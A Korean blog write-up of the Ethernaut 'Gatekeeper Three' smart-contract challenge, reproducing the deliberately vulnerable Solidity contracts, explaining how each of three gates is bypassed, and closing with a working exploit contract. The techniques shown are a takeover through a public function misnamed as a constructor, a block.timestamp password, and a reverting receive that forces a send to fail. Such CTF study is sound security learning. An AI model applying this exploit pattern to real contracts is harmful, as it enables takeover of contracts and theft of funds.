[ethernaut] Gatekeeper Three

wooz3k.eth·2023년 1월 11일
1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }
    
  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
    
  function trickInit() public {
    trick = address(this);
  }
    
  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allow_enterance = false;
  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allow_enterance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allow_enterance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree returns (bool entered) {
    entrant = tx.origin;
    return true;
  }

  receive external payable {}
}

이 문제는 Gatekeeper One, Two 처럼 3개의 modifier를 통과하면 풀리는 문제이다.

접근 방식

  • 문제에 의도를 처음 부터 알려주고 시작하기 때문에 modifier를 하나 씩 분석 해보자.

gateOne

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }
  • 먼저 msg.senderowner이어야 하고, tx.originowner이면 안된다고 한다.
  • 어떻게 하면 owner를 획득할 수 있는지 찾아보자.
  function construct0r() public {
      owner = msg.sender;
  }
  • constructor 처럼 보이지만 일반 public 함수인 construct0r를 실행하면 owner를 쉽게 덮을 수 있다.
  • tx.originowner이면 안되기 때문에 contract를 만들어 호출해주어야 할 것 같다.

gateTwo

  modifier gateTwo() {
    require(allow_enterance == true);
    _;
  }
  • 여기서는 allow_enterancetrue로 만들어 줘야 통과할 수 있다고 한다. 한번 찾아보자.
  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allow_enterance = true;
    }
  }
  • getAllowance 함수를 호출하여 값을 변경시킬 수 있었다.
  • trick.checkPassword(_password)를 통과하여야 한다.
  uint private password = block.timestamp;

  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
  • password는 private로 선언 되어있고block.timestamp가 들어간다. (constructor)
  • checkPassword는 맞으면 true를 뱉어주어 결과적으로 allow_enterance = true;가 실행될 것이다.
  • trick 컨트렉트는 만들어있지 않기 때문에 createTrick()으로 만들어주고 trick 컨트렉트에서 getAllowance를 호출해주는 함수가 존재하지만 사실 block.timestamp는 블록이 생성될 때 시간이기 때문에 passwordblock.timestamp가 되게 될 것이다. 말 그대로 trick 이었다.

gateThree

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  • 마지막 modifer이다.
  • 컨트렉트에 balance는 충분하지만 send가 실패하게 되면 통과하는 조건이다.
  • fallbackrevert()를 넣어줘서 sendfalse를 뱉게하여 통과하게 해주자.

Exploit Contract

contract attack
{
    GatekeeperThree public target = GatekeeperThree(payable(0xc6c5f7aeF896E32D42e88B080C5bb2994Edc3dEB));
    function atk() public
    {
        target.construct0r();
        target.createTrick();
        target.getAllowance(uint256(block.timestamp));
        target.enter();
    }

    receive() external payable
    {
        revert();
    }
}

이렇게 ethernaut 마지막 문제까지 해결하였다.

profile
Theori ChainLight Web3 Researcher

0개의 댓글